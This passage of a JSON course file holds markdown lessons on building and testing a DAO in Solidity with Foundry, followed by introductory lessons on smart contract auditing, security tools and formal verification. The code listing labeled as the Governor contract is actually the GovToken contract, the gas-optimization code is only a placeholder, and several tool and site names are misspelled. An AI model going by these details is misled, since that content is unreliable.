needs. For instance, we can adjust the voting delay, voting period, and proposal threshold in line with the governance model we're aiming for. Do we want our voting to start immediately after proposing? Or after 100 blocks? All these details are customizable.\n\nHere's the interesting part - we can copy the output code from the wizard and integrate it into our contracts with minimal changes. To illustrate this, I'll walk you through a sample setup of a Governor contract along with a crucial TimeLock mechanism.\n\n\"Dao\n\n## Creating the Governor contract\n\nFirst, we need to update our Governor contract and import the necessary interfaces (`IVotes`, `GovernorVotes` & `TimeLockController`). We'll be using _named imports_ since they make our code cleaner.\n\nHere's an overview of what the Governor contract entails.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {ERC20Permit} from \"@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol\";\nimport {ERC20Votes} from \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol\";\n\ncontract GovToken is ERC20, ERC20Permit, ERC20Votes {\n constructor() ERC20(\"MyToken\", \"MTK\") ERC20Permit(\"MyToken\") {}\n\n // The following functions are overrides required by Solidity.\n\n function mint(address to, uint256 amount) public {\n _mint(to, amount);\n }\n\n function _afterTokenTransfer(address from, address to, uint256 amount) internal override(ERC20, ERC20Votes) {\n super._afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address to, uint256 amount) internal override(ERC20, ERC20Votes) {\n super._mint(to, amount);\n }\n\n function _burn(address account, uint256 amount) internal override(ERC20, ERC20Votes) {\n super._burn(account, amount);\n }\n}\n```\n\nThis may seem a bit abstract, but let me break it down a bit.\n\nWhen somebody makes a proposal, it gets registered in the system. We essentially have a record of when a vote started and ended, whether it was executed or canceled. This information helps us identify the status of a proposal and whether it has passed.\n\nNext, we have the `execute` function. Once a proposal gets approved by the DAO members, we call this function to implement the operation involved in the proposal.\n\nThe final key function is `cast vote`. This allows members of the DAO to cast votes on various proposals. Depending on the overall voting system, the weight of each member's vote could be dependent on the number of tokens they hold.\n\n## Building the TimeLock Controller Contract\n\nThe final step in our set up is creating the TimeLock Controller contract, which, fortunately, we can do with minimum effort thanks to Open Zeppelin's repository.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport {TimelockController} from \"@openzeppelin/contracts/governance/TimelockController.sol\";\n\ncontract TimeLock is TimelockController {\n // minDelay is how long you have to wait before executing\n // proposers is the list of addresses that can propose\n // executors is the list of addresses that can execute\n constructor(uint256 minDelay, address[] memory proposers, address[] memory executors)\n TimelockController(minDelay, proposers, executors, msg.sender)\n {}\n}\n```\n\nAnd this is it for this sub-section. We now have a TimeLock contract that we can use to lock our Governor contract. Keep learning and stay tuned for the next post!\n\nHappy coding!\n", + "updates": [] + }, + { + "id": "baa7e801-d9fb-420d-afdb-0c84fa9740d2", + "number": 6, + "title": "Testing the governance smart contract", + "slug": "tests", + "folderName": "6-tests", + "description": "Comprehensive guide on testing governance smart contracts to ensure efficient and secure DAO operations.", + "duration": 24, + "videoUrl": "MfonNwZVYlY", + "rawMarkdownUrl": "/routes/advanced-foundry/5-daos/6-tests/+page.md", + "markdownContent": "---\ntitle: Tests\n---\n\n_Follow along with this video._\n\n\n\n---\n\nOn this lesson we are going to write some test for our DAO.\n\n## Testing Your DAO\n\nLet's start by writing a test.\n\n```shell\ntouch test/MyGovernorTest.t.sol\n```\n\nOne of the reasons we are proceeding a bit swiftly is because- This. Is. It. This is the point where you level up from being a novice to developing a strong understanding of how DAOs work.\n\nWe are going to write a test which will cover the whole process. The test we write here is going to be a comprehensive one so you can see this process in action from start to finish.\n\nAnd here's what you should know already:\n\n- How to flesh out this repo with scripts, tests.\n- How to write unit tests, fuzz tests, and more.\n- How to make your project bigger and better (also read as, bad\\*ss).\n\n## Testing the Governance Protocol\n\nWe are going to code 2 main tests:\n\n**Cannot Update Box Without Governance:** This test ensures that the governance mechanism is properly implemented by attempting to update the Box contract without the necessary governance authorization. If the update attempt doesn't revert, it signifies a vulnerability in the governance setup, highlighting the importance of secure access control.\n\n**Governance Updates Box:** This test scenario simulates a complete governance process for updating the Box contract. It starts by proposing a change, which encapsulates the desired update along with metadata. After the voting period elapses, the vote is executed if passed. In this case, the proposed change involves storing a specific value in the Box contract, showcasing the end-to-end functionality of the governance system.\n\nThis is how the testing script will look like:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {Test, console} from \"forge-std/Test.sol\";\nimport {MyGovernor} from \"../src/MyGovernor.sol\";\nimport {GovToken} from \"../src/GovToken.sol\";\nimport {TimeLock} from \"../src/TimeLock.sol\";\nimport {Box} from \"../src/Box.sol\";\n\ncontract MyGovernorTest is Test {\n GovToken token;\n TimeLock timelock;\n MyGovernor governor;\n Box box;\n\n uint256 public constant MIN_DELAY = 3600; // 1 hour - after a vote passes, you have 1 hour before you can enact\n uint256 public constant QUORUM_PERCENTAGE = 4; // Need 4% of voters to pass\n uint256 public constant VOTING_PERIOD = 50400; // This is how long voting lasts\n uint256 public constant VOTING_DELAY = 1; // How many blocks till a proposal vote becomes active\n\n address[] proposers;\n address[] executors;\n\n bytes[] functionCalls;\n address[] addressesToCall;\n uint256[] values;\n\n address public constant VOTER = address(1);\n\n function setUp() public {\n token = new GovToken();\n token.mint(VOTER, 100e18);\n\n vm.prank(VOTER);\n token.delegate(VOTER);\n timelock = new TimeLock(MIN_DELAY, proposers, executors);\n governor = new MyGovernor(token, timelock);\n bytes32 proposerRole = timelock.PROPOSER_ROLE();\n bytes32 executorRole = timelock.EXECUTOR_ROLE();\n bytes32 adminRole = timelock.TIMELOCK_ADMIN_ROLE();\n\n timelock.grantRole(proposerRole, address(governor));\n timelock.grantRole(executorRole, address(0));\n timelock.revokeRole(adminRole, msg.sender);\n\n box = new Box();\n box.transferOwnership(address(timelock));\n }\n\n function testCantUpdateBoxWithoutGovernance() public {\n vm.expectRevert();\n box.store(1);\n }\n\n function testGovernanceUpdatesBox() public {\n uint256 valueToStore = 777;\n string memory description = \"Store 1 in Box\";\n bytes memory encodedFunctionCall = abi.encodeWithSignature(\"store(uint256)\", valueToStore);\n addressesToCall.push(address(box));\n values.push(0);\n functionCalls.push(encodedFunctionCall);\n // 1. Propose to the DAO\n uint256 proposalId = governor.propose(addressesToCall, values, functionCalls, description);\n\n console.log(\"Proposal State:\", uint256(governor.state(proposalId)));\n // governor.proposalSnapshot(proposalId)\n // governor.proposalDeadline(proposalId)\n\n vm.warp(block.timestamp + VOTING_DELAY + 1);\n vm.roll(block.number + VOTING_DELAY + 1);\n\n console.log(\"Proposal State:\", uint256(governor.state(proposalId)));\n\n // 2. Vote\n string memory reason = \"I like a do da cha cha\";\n // 0 = Against, 1 = For, 2 = Abstain for this example\n uint8 voteWay = 1;\n vm.prank(VOTER);\n governor.castVoteWithReason(proposalId, voteWay, reason);\n\n vm.warp(block.timestamp + VOTING_PERIOD + 1);\n vm.roll(block.number + VOTING_PERIOD + 1);\n\n console.log(\"Proposal State:\", uint256(governor.state(proposalId)));\n\n // 3. Queue\n bytes32 descriptionHash = keccak256(abi.encodePacked(description));\n governor.queue(addressesToCall, values, functionCalls, descriptionHash);\n vm.roll(block.number + MIN_DELAY + 1);\n vm.warp(block.timestamp + MIN_DELAY + 1);\n\n // 4. Execute\n governor.execute(addressesToCall, values, functionCalls, descriptionHash);\n\n assert(box.retrieve() == valueToStore);\n }\n}\n\n```\n\n## Wrapping Up\n\nYou've learned how a typical voting process within a DAO works. However, this is just the basics. There are more advanced methodologies emerging daily, and it's only apt for you as a developer to explore these emerging trends.\n\nThere is a common criticism that pure DAOs can often devolve into plutocracies. To avoid that, consider tweaking the voting mechanisms or exploring other models of decentralized governance.\n\nIf you're feeling up to it, consider deploying a DAO or even creating your own! No matter what you decide to do next, pat yourself on the back. You've made a significant leap in your journey into understanding blockchain and smart contracts.\n\n\"Dao\n\nStay tuned for our next post. Until then, happy coding!\n", + "updates": [] + }, + { + "id": "762e38ae-29e5-4f67-bf4b-2c2f172e5a7d", + "number": 7, + "title": "Section recap", + "slug": "daos-section-recap", + "folderName": "7-wrap-up", + "description": "A recap of the DAO section with additional insights on smart contract security and auditing, and tips on gas optimization.", + "duration": 6, + "videoUrl": "MEwyNYDH4c0", + "rawMarkdownUrl": "/routes/advanced-foundry/5-daos/7-wrap-up/+page.md", + "markdownContent": "---\ntitle: Wrap up & Gas Tips\n---\n\n_Follow along with this video._\n\n\n\n---\n\nAs we approach the culmination of our lessons, there's one crucial topic left to cover - Smart Contract and Security Auditing for Developers. By no means should you leave this course without exploring this vital aspect. This is where we equip you with the necessary tools to ensure your smart contracts are secure and optimized. Sure, this lesson won't take you through auditing step by step, but it will certainly highlight what to expect from an auditor and essential steps towards thinking about security.\n\n---\n\n## Deep Dive Into Auditing World\n\nImagine the thrill of being able to deploy amazing contracts that are crafted and sealed with your intellect and skill. As exciting as that could be, equally important is being adept at understanding the security aspects associated with your creations. Hence, it is essential to know what to look for in an auditor; being aware of the crucial aspects that enhance the security of your contracts only makes you a seasoned developer.\n\nBut, we're not stopping there! If you plan to journey through the path of security and auditing, we've got you covered. We're working on dedicated security and auditing educational material to walk you through.\n\nSo, take pride in how far you've come! Time to celebrate your achievements - do a little dance, treat yourself to some ice cream. The end is within sight, and soon we will release you into the world, armed with fresh knowledge and insight.\n\nFor now, take a pause and join us back in a jiffy.\n\n---\n\n## Special Bonus: Gas Optimizations By Harrison Legg\n\nBut, before you hit the pause button, we've got a special piece of bonus content for you.\n\nWe are ecstatic to have Harrison Leggio, CTO and co-founder of Pop Punk, LLC, share some exceptional tips on gas optimizations. At Pop Punk LLC, they are building—`gaslight GG`, an audit firm specializing in gas optimization to ensure lowest possible gas costs. They are now venturing into building hyper optimized public goods tools for EVM developers, aiming at making the best and cheapest contracts accessible to all!\n\nHarrison was graciously shared an enlightening step-by-step explainer on gas optimizations with a special focus on AirDrop contracts, highlighting common ways that may unknowingly inflate your gas costs in your smart contracts. The goal of his speil is to illustrate how you can beautifully weave in simple elements in your code to save substantial amounts of gas without rendering the code unreadable.\n\nFind Harrison's detailed code explainer below.\n\n(Add the provided gas optimization code)\n\n_\"The end result? The AirDrop 'Bad' costs 1,094,690 gas, while the 'Good' version only consumes 404,842 gas, creating a saving of nearly 600,000 gas by making only minor changes. This not only benefits you as a developer but also the end users who won't need to spend exorbitant amounts.\"_ – Harrison Leggio, CTO and co-founder of Pop Punk, LLC\n\n---\n\nFeel free to find Harrison on Twitter at `@poppunkonchain`, and the business account at `@PoppunkLLC`. He also extends an invitation to budding or established protocols for gas audits. Keep an eye out for `Gaslight GG` where you can soon deploy 'super cheap, super gas optimized' smart contracts with just a single button press.\n\nThat's all for today's session! Till we meet again!\n", + "updates": [] + } + ] + }, + { + "number": 6, + "id": "c646c829-3376-430f-a3d4-65872e71fefb", + "title": "Security", + "slug": "security", + "folderName": "6-security", + "lessons": [ + { + "id": "b47c5b24-cd73-425f-94e5-4937dbfa2b5b", + "number": 1, + "title": "Intro", + "slug": "intro", + "folderName": "1-intro", + "description": "Introduction to smart contract security and auditing, providing foundational knowledge for crypto space security.", + "duration": 4, + "videoUrl": "7H_bvaMsbLM", + "rawMarkdownUrl": "/routes/advanced-foundry/6-security/1-intro/+page.md", + "markdownContent": "---\ntitle: Security & Auditing Introduction\n---\n\n_Follow along with this video._\n\n\n\n---\n\nWelcome back! This is our final lesson in this course and we're ending on a thrilling note - diving into the world of **smart contract security and auditing**. So if you're a developer who's been eagerly monitoring your progress, then prepare to get some insightful knowledge nuggets that will truly enhance your crypto literacy.\n\nRemember, this is _just a teaser_ and won't cover everything about security, nonetheless, we're creating a treasure trove of places where you can learn and grow.\n\nAlthough this last lesson might tickle your brain, more importantly, it provides the foundational knowledge needed to take that first step into the exciting world of security in the crypto space.\n\n\"Auditing\n\n## Unraveling the Importance of Security with Stats\n\nIn case you're wondering why we're emphasizing security - the stats speak loud and clear! Here's a shocking fact:\n\n\"Auditing\n\nTo make it noir, consider the total value locked in the DEFI which was approximately $50 billion. That would indicate **6%** of all DFI was hacked last year. In simpler terms, it like placing your money in a bank that cheerfully says, \"_Hey, there's a 6% chance all your money will be gone next year_\".\n\nThe plausibility of this grim prospect closely mirrors what's happening in the crypto space and underlines the urgent need to bolster its security.\n\nTake a glance at an intriguing leaderboard on _Rectit News_. It's a daunting lineup of some of the biggest hacks, many of which were born out of code that was unaudited or reviewed by security professionals. Moreover, some of these attacks led to staggering losses of over half a billion dollars.\n\nThis brings us to a fundamental decision for protocol devs -\n\n\"Auditing\n\nFrom a business perspective, investing in security absolutely makes sense and provides a whopping 99% saving in costs.\n\n## Beginning the Process with Smart Contract Audits\n\nProtocol developers listen up! In all likelihood, you'll need to get a **smart contract security audit** at some point before you launch your protocol. That's where we'll start.\n\nA smart contract audit is certainly worth watching even if you don't aspire to become an auditor yourself. It will provide you with a foundation understanding when your protocol is poised to launch to mainnet.\n\nThe next video breaks down what a smart contract audit entails and how to prepare for it, so sit tight and get ready to unleash potential that’s waiting to be discovered!\n\nHappy Coding!\n", + "updates": [] + }, + { + "id": "4e52985f-9d6d-4a2f-b3be-011923e6cd64", + "number": 2, + "title": "What is a smart contract audit", + "slug": "what-is-smart-contract-audit", + "folderName": "2-what-is", + "description": "Insights into the manual review process in smart contract auditing, emphasizing the importance of detailed code and documentation examination.", + "duration": 7, + "videoUrl": "YEKFeImABek", + "rawMarkdownUrl": "/routes/advanced-foundry/6-security/2-what-is/+page.md", + "markdownContent": "---\ntitle: What is a Smart Contract Audit?\n---\n\n_Follow along with this video._\n\n\n\n---\n\nWhen it comes to understanding the finer details of blockchain technology, smart contract auditing is of paramount importance. This audit is essentially a security-based code review with a specific timeframe laid out for your smart contract system.\n\n## What is a Smart Contract Audit?\n\n\"Auditing\n\nThe principal goal of an auditor, in this case, is to discover as much vulnerabilities as possible, while also educating the protocol about security best practices and proficient coding techniques. This complex process involves a combination of manual reviews and automated tools for finding these vulnerabilities.\n\n## Why is a Smart Contract Audit So Essential?\n\nHaving a better understanding of why a smart contract audit is a critical part of launching your code base onto a live blockchain will highlight its importance.\n\n### Vulnerability to Hacks\n\nThere are countless websites that catalog the number of hacks that occur in blockchain environments, highlighting its vulnerability. In the past year alone, almost $4 billion was stolen from smart contracts, making it the year with the highest stolen value from these contracts.\n\nThis alarming statistic underscores the importance of a meticulous smart contract audit. Once a smart contract is deployed, it cannot be altered or modified - therefore, getting it correct in its initial phase is crucial.\n\n### Adversarial Potential\n\nA blockchain is traditionally a permissionless adversarial environment. Your protocol must be prepared to encounter and deal with malicious users. An audit can equip your developer's team with improved understanding and proficiency in code, consequently increasing their efficiency and effectiveness in implementing the required features.\n\nMoreover, a single smart contract audit might not suffice considering the rapidly evolving nature of the digital space. Your protocol should ideally embark on a comprehensive security journey that comprises multiple audits, formal verification, competitive audits, and bug bounty programs. We'll explore these aspects in greater breadth in future blogs.\n\n## Audit Service Providers\n\nSeveral companies offer smart contract auditing services. These include but are not limited to: Trail of Bits, Consensys Diligence, OpenZeppelin, Sigma Prime, SpiritDAO, MixBytes, WatchPug Trust, and, of course, [Cyfrin](https://www.cyfrin.io/) . Additionally, a host of independent auditors also provide high-quality audit services.\n\n## What Does a Typical Audit Look Like?\n\nLet's dive into a typical audit process to understand how it generally plays out.\n\n- **_Price and Timeline:_** An audit begins with figuring out the price and timeline. Protocol needs to contact auditors and discuss how long the audit will take based on scope and code complexity. Ideally, they should reach out before their code is finished to ensure the auditors have sufficient time to schedule them in.\n- **_Commit Hash and Down Payment:_** Once the timeline and price are established, the protocol finalizes a start date and a final price based on a commit hash, which is a unique ID of the code base. Some auditors may request a down payment to schedule the audit.\n- **_Audit commencement:_** The auditors deploy every tool in their arsenal to unearth as many vulnerabilities in the code as possible.\n- **_Initial report submission:_** After the audit duration ends, auditors hand in an initial report that outlines their findings based on severity. These will be divided into High, Medium, and Low alongside Informational, Non-critical, and Gas efficiencies.\n- **_Mitigation commencement:_** Post receipt of the initial report, the protocol's team has a fixed time to fix the vulnerabilities found in the initial report.\n- **_Final report submission:_** The final stage entails the audit team performing a final audit exclusively on the fixes made to tackle the issues highlighted in the initial report.\n\n## Ensuring a Successful Audit\n\nThere are a few key actions that can ensure your audit is as successful as possible:\n\n1. Clear documentation\n2. A robust test suite\n3. Commented and readable code\n4. Adherence to modern best practices\n5. An established communication channel between developers and auditors\n6. An initial video walkthrough of the code before the audit begins.\n\n### The Importance of Collaboration\n\nTo get the best results, consider yourself and your auditors as a team. Ensure a smooth flow of communication between the developers and auditors right from the audit commencement. This way, auditors get a thorough understanding of the code, equipping them to better diagnose any vulnerabilities.\n\n### Post Audit Considerations\n\nOnce your audit concludes, your work isn't done. Be sure to take the recommendations from your audit seriously, and remember that any change to your code base after the audit introduces unaudited code.\n\n## What an Audit Isn't\n\nAn audit doesn't mean that your code is bug-free. An audit is a collaborative process between the protocol and the auditor to find vulnerabilities. It is essential to treat each audit as part of a continuous and evolving process - and be prepared to take immediate action if a vulnerability is discovered.\n\n## Wrapping Up\n\nIn essence, a smart contract audit is a pivotal security journey that prepares you with best practices and security knowledge to launch your code onto a live blockchain. And of course, if you're searching for auditors, don't hesitate to reach out to the [Cyfrin](https://www.cyfrin.io/) team, and we'd be happy to assist.\n\nStay safe out there, and ke\n", + "updates": [] + }, + { + "id": "d548101f-dbfe-4536-8a4e-99752f327be4", + "number": 3, + "title": "Top security tools", + "slug": "top-smart-contract-security-tools", + "folderName": "3-top-tools", + "description": "Overview of various security tools used by professionals for smart contract auditing, including their roles and effectiveness.", + "duration": 12, + "videoUrl": "7nMlUUV_itw", + "rawMarkdownUrl": "/routes/advanced-foundry/6-security/3-top-tools/+page.md", + "markdownContent": "---\ntitle: Top Tools used by Security Professionals\n---\n\n_Follow along with this video._\n\n\n\n---\n\nWelcome back! Now that you have a basic understanding of what a smart contract audit involves, let's take a deep dive into the auditing process employed by security professionals. More specifically, the tools they leverage, their relevance to protocol developers, and why early-stage security awareness is paramount.\n\n## Importance of Security Tools for Smart Contract Developers\n\nAs a smart contract developer, it is crucial to familiarize yourself with the entire toolkit used in audits. It will make sense to employ these tools even before seeking a professional audit just to streamline the process. Remember: the code base you launch is your responsibility and it is important not to wait until the end to think about security. Instead, your code's safety must be built into the architecture from the onset.\n\nLet's take the analogy of a car race. If you build a dysfunctional car and decide to jump on the racetrack, you'll find out that you should have started over. Using time to audit a fundamentally flawed system is therefore not productive. To avoid such situations, smart contract developers have useful tools that can help provide guidance. [Solcurity](https://github.com/transmissions11/solcurity), for instance, offers security and code quality standards for solidity smart contracts and then there's the [simple security toolkit](https://github.com/nascentxyz/simple-security-toolkit) from Nascentxyz, a valuable resource to consult pre-audit.\n\n## The Smart Contract Audit Process\n\nThe audit process is rather complex with no one-size-fits-all solution. However, typical smart contract audits involve a mix of manual reviews and tool-based evaluations. A multitude of tools exist to ensure code security, but manual review remains arguably the most vital.\n\n### The Power of Manual Review\n\nManual review primarily involves going through the code line by line and verifying the code's functionality against documentation. It's unsurprising that the developer community often jokes about the gains that 15 minutes of documentation reading could yield. The first step usually involves understanding the protocol's supposed function, given the majority of bugs encountered are more related to business logic than technical errors.\n\n\"Auditing\n\nThis statement couldn't be truer here. The more code and documentation you read, the better equipped you will be to spot bugs and errors.\n\nFor example, consider a simple contract with a 'set number' function. While the code might compile and deploy successfully, reading the corresponding documentation may reveal the intended function is to set a number to a 'new number'. It's only through understanding this that you'll realize setting it to 'new number + 1' is incorrect. Not a code error, but a business logic error, which is just as significant.\n\n### The Investigative Tools Used in Audits\n\nBesides manual review, several tools come in handy during the auditing process. These include:\n\n1. **Test Suites**: The primary line of defense that highlights potential vulnerabilities during testing. Most popular frameworks integrate test suites, and their importance has been extensively discussed in this course.\n2. **Static Analysis**: Helps in automatically detecting code issues without running any code. Typically, such tools search for specific keyword patterns for potential issues.\n3. **Fuzz Testing**: An approach that involves feeding random data as inputs during testing to unearth bugs that might go undetected during regular testing.\n4. **Stateful Fuzz Testing**: A more complex version of fuzz testing, already covered in this course.\n5. **Differential Testing**: Although not a keen focus area for this course, it involves writing the same code multiple times, and comparing them for discrepancies.\n6. **Formal Verification**: This is a mathematical proof-based code verification methodology to establish the correctness of hardware or software.\n\n#### Formal Verification through Symbolic Execution\n\nFormal verification might seem slightly confusing initially, but think of it as converting solidity code into mathematical expressions that can easily prove or disprove the code's operation. Symbolic execution is a typical method of formal verification. It attracts contrasting preferences within the development community due to its time-intensive nature, with many players choosing to skip it. Although not a direct indicator of error-free code, it becomes crucial when dealing with math and computationally heavy processes.\n\n#### The Role of AI in Smart Contract Audits\n\nAI-supported tools are a work in progress in the industry. While sometimes they prove to be vital additions to the toolset, other times they disappoint significantly.\n\n## Unpacking the Audit Process with Real Code Samples\n\nTo grasp this better, consider the following snippets from the Denver Security Rep (a codebase associated with this course) :\n\n1. **Manual Review**: Code that does math incorrectly—identified by direct comparison with documentation.\n2. **Testing**: A function supposed to set a number but adds one to it—discovered with simple unit testing.\n3. **Static Analysis**: A sample reentrancy attack detected automatically by running [Slither](https://github.com/crytic/slither).\n4. **Fuzz Testing**: Failure to maintain variable value within defined bounds—picked up by random data input testing.\n5. **Symbolic Execution**: Use of solidity compiler to check for issues by triggering different code paths, and understanding their outcomes.\n\n## Wrapping Things Up with Expert Insights\n\nTo help us better understand manual reviews, we're fortunate to have Tincho, a distinguished Ethereum smart contract researcher. Tincho, through his manual review technique, discovered a critical vulnerability in the Ethereum Name Service (ENS) that earned him a $100,000 payout. His insights will undoubtedly be valuable as you navigate your journey in smart contract auditing.\n\nThat was it for this lesson, keep learning and happy auditing!\n\n\"Auditing\n", + "updates": [] + }, + { + "id": "f1c18671-11d8-4bd8-b206-bb0557e09751", + "number": 4, + "title": "Introduction to manual review", + "slug": "smart-contract-manual-review", + "folderName": "4-manual-review", + "description": "Insights into the manual review process in smart contract auditing, emphasizing the importance of detailed code and documentation examination.", + "duration": 14, + "videoUrl": "_8zvmg-vG1I", + "rawMarkdownUrl": "/routes/advanced-foundry/6-security/4-manual-review/+page.md", + "markdownContent": "---\ntitle: Manual Review\n---\n\n_Follow along with this video._\n\n\n\n---\n\n# Step-By-Step Guide: How to Audit DeFi with Tincho\n\nThis blog post is a detailed reflection of an interview with Tincho, an Ethereum security researcher, a former lead auditor at Openzeppelin, and the creator of Damn Vulnerable DeFi. His vast expertise in DeFi auditing makes him a wealth of knowledge for anyone interested in Ethereum or blockchain security.\n\n## Embracing the Audit Process\n\nThis is Tincho, an Ethereum security researcher and creator of Damn Vulnerable DeFi. In today's blog post, we are going to discuss the auditing process in detail. Now, it's crucial to understand that auditing does not necessarily have a 'one-size-fits-all\" approach. We all have our own ways of making things work and what I'll lay out in this blog post are my go-to strategies. Without further ado, let's take a dive into the world of Defi auditing.\n\n## Getting Started: Exploring Repositories and Reading Documentations\n\nTo begin with, you need to have a clear understanding of what you're dealing with. Hence, we'll pick the Ethereum Name Service (ENS) GitHub repository for a mock auditing in this blog post.\n\nHere's what I recommend:\n\n- **Clone-The-Repo-First**: Fork the repository to your local development environment.\n- **Visit The Documentation**: Understanding the architecture of what you're reviewing is key. Familiarize yourself with the terms and the concepts used.\n\n\"Auditing\n\n## Reviewing Audit Reports and Setting Command Line Utility\n\n_Auditing ENS's GitHub Repository_\n\nHaving looked at the documentation and the architecture, let's go back to auditing the ENS's repository on GitHub. Note that the repository contains multiple contracts and ENS uses hardhat for development. Although I prefer projects that use foundry over hardhat, it would not be an impediment for auditing.\n\nTo acknowledge the complexity of the code, you need to count the lines of code. For this, I usually use a command-line utility called _Clock_ and save the output in the form of a CSV which is later fed into the spreadsheet.\n\n**Solidity Metrics**: Another tool to scope the complexity of a file is 'Solidity Metrics' developed by Consensus. You can run this on your project and it will provide you with a detailed report of the levels of complexity.\n\n\"Auditing\n\n## Organizing Audit Process and Taking Notes\n\nAs a part of your audit process, prioritize the contracts according to their complexity using tools like solidity metrics or clock. Move your contracts from the 'Not Started' phase to 'In Progress' and then 'Completed'. This aids tremendously in keeping the audit process on track, especially when working in teams.\n\nWhile auditing, you might need to dive deep into certain aspects of the system and it is important to take notes of your observations. Whether you take notes in the code, a news file or a note-taking plugin, it helps in keeping track of your thoughts.\n\n\"Auditing\n\nAn auditor needs to continuously brainstorm about potential breaches and weak points. Often this process won't follow a fixed path and will be influenced by the auditor's own experience and knowledge. This includes keeping in mind the different forms of attacks, identifying quickly anything that's out of place, and reading others' vulnerability reports.\n\n## Understanding the Testing Environment and The Importance of Communication\n\nIt's significant to realize that you might need to test things during the audit. For complex setups, you might have to adapt to the actual testing environment of the project. Additionally, communication with your clients is key. They understand the intent of the system better than anyone. Seek help when in doubt but also maintain a degree of detachment as you are the expert they are counting on.\n\nOnce the client reassures you that the issues have been fixed, review those fixes to make sure no new bugs have been introduced. Concurrently, prepare your audit report clearly mentioning all your findings and observations.\n\n\"Auditing\n\n## Beware of the 'Perfect Auditor' Fallacy\n\nRemember, no auditor is perfect and can claim to find every vulnerability. It's the collective responsibility of the client and the auditor to ensure code security. It's absolutely normal for some vulnerabilities to be missed. However, that doesn't mean you take your job lightly. Stay diligent in your task and keep growing your skills.\n\n\"Auditing\n\nIf despite your best efforts, an audit fails and your client's code gets hacked, remember it isn't entirely your fault. The blame should be shared by both parties. As an auditor, your role is to provide a valuable security code review, irrespective of whether you find a critical issue.\n\nAnd that sums up our auditing journey. Thank you for accompanying me on this. I hope it has been enriching for you and will aid you in your auditing adventures. Until next time!\n\n[Link to the full interview](https://www.youtube.com/watch?v=bYdiF06SLWc&t=0s)\n\nThat was it for this lesson, we hope you enjoyed it! Happy learning!\n", + "updates": [] + }, + { + "id": "31ed03ef-dbe7-4341-b314-27b6db4bcc4d", + "number": 5, + "title": "Introduction to formal verification", + "slug": "formal-verification", + "folderName": "5-formal-verification", + "description": "Exploration of formal verification and symbolic execution in Web3, including their applications and limitations in security testing.", + "duration": 15, + "videoUrl": "p40bYzRE8eA", + "rawMarkdownUrl": "/routes/advanced-foundry/6-security/5-formal-verification/+page.md", + "markdownContent": "---\ntitle: Formal Verification\n---\n\n_Follow along with this video._\n\n\n\n---\n\n# Understanding Symbolic Execution and Formal Verification in Web3\n\nSo you're interested in enhancing your security testing toolkit with symbolic execution and formal verification? You've come to the right place. In this post, we're going to break down these complex concepts and equip you with the knowledge to begin incorporating them into your security audits.\n\nThis post has been inspired by valuable contributions from [the Trail of Bits team](https://www.trailofbits.com/) - renowned for their expertise in this domain. Thanks to them, we'll be able to delve into the nuances of symbolic execution and formal verification.\n\nSounds exciting? Let's jump in!\n\n## Deepening Your Understanding of Testing Methodologies\n\nBefore we advance to the heart of the matter - symbolic execution and formal verification - let's review the testing methodologies we use in Web3 development. To understand what follows, you'll need a high-level understanding of Solidity and some familiarity with foundational testing approaches like unit testing and fuzzing testing.\n\n### Unit Testing\n\nUnit testing forms the first layer of our testing \"onion.\" It's a method where you test a specific \"unit\" (like a function) to ensure it performs as expected. In other words, unit testing involves checking whether a function does what it should. But you already knew that, right? we have coded together a lot of tests in the previous videos.\n\nA unit test can catch bugs in the execution of this function. When using Solidity testing frameworks like [Foundry](https://github.com/foundry-rs/foundry).\n\n### Fuzz Testing\n\n\"Auditing\n\nFuzz testing serves as the second layer. In essence, fuzzing is the process of running your program with a range of random inputs to see if it breaks. Here, you need to define your code's invariants - the properties you expect to be true regardless of the program's state.\n\nLet's consider a function that should never return zero. We can create a fuzz test that throws a bunch of random numbers at the function to try to make it return zero.\n\nThe fuzz test tries to break our property by passing in random numbers. If it finds something that causes the function to return zero, it means we have an edge case that needs to be addressed.\n\n### Static Analysis\n\nThe third layer of our testing onion is Static Analysis. Unlike fuzz and unit testing, static analysis doesn't involve running the code. Instead, it involves inspecting the code as-is, checking for known vulnerabilities.\n\nStatic analysis tools can be valuable for rapidly identifying sections of your code that employ bad practices. Besides Slither, the Solidity compiler itself can serve as a static analysis tool.\n\nNow that we have some background on essential testing methodologies, let's delve into formal verification and symbolic execution.\n\n## Formal Verification & Symbolic Execution\n\nOur exploration starts with formal verification - the process of proving or disproving a system property using mathematical models. Various techniques exist for this, including symbolic execution and abstract interpretation. We'll be focusing on symbolic execution.\n\n### Symbolic Execution Demystified\n\n\"Auditing\n\nSymbolic execution is a technique wherein you explore the different paths your program can take and create a mathematical representation for each path.\n\nConsider a function we want to verify using symbolic execution. First, we need to identify the invariant - what we want to prove or disprove about the function. For our needs, let's say our invariant is: this function should never revert.\n\n## The Limitations\n\nWhile symbolic execution is powerful, it's not a magic bullet. It can struggle with a 'path explosion' problem, where there are too many paths for the tool to explore in a reasonable timeframe.\n\nAdditionally, symbolic execution requires a deep understanding to use effectively and maintain. This often results in a high skill requirement. However, a sufficiently powerful fuzzer may be adequate for many requirements.\n\nSo, there we have it! From unit testing to symbolic execution, we've stepped through the necessary layers to fortify your coding practices. Continue to ask questions, explore, and keep coding safely!\n\n## Wrapping Up\n\nI hope you enjoyed this post and found it useful. If you're interested in learning more about security testing, check out the [Trail of Bits blog](https://blog.trailofbits.com/). They have a ton of great content on this topic.\n\nWe are to close to finishing this course. In the next video, we will be looking at the final topic of this course, a huge huge huge congratulations for making it this far!\n", + "updates": [] + }, + { + "id": "9ec6f023-3e4a-4922-a97d-e9c1cdca6daf", + "number": 6, + "title": "Congratulations", + "slug": "congratulations", + "folderName": "6-congratulations", + "description": "Celebratory conclusion of the course, highlighting key resources and tools for continued learning in smart contract security.", + "duration": 5, + "videoUrl": "x38BncgKc9M", + "rawMarkdownUrl": "/routes/advanced-foundry/6-security/6-congratulations/+page.md", + "markdownContent": "---\ntitle: Congratulations\n---\n\n_Follow along with this video._\n\n\n\n---\n\n# Becoming a Smart Contract Security Wizard: What’s Next After Your First Big Course\n\nWelcome back, this is the end of our journey together, at least for this course. We 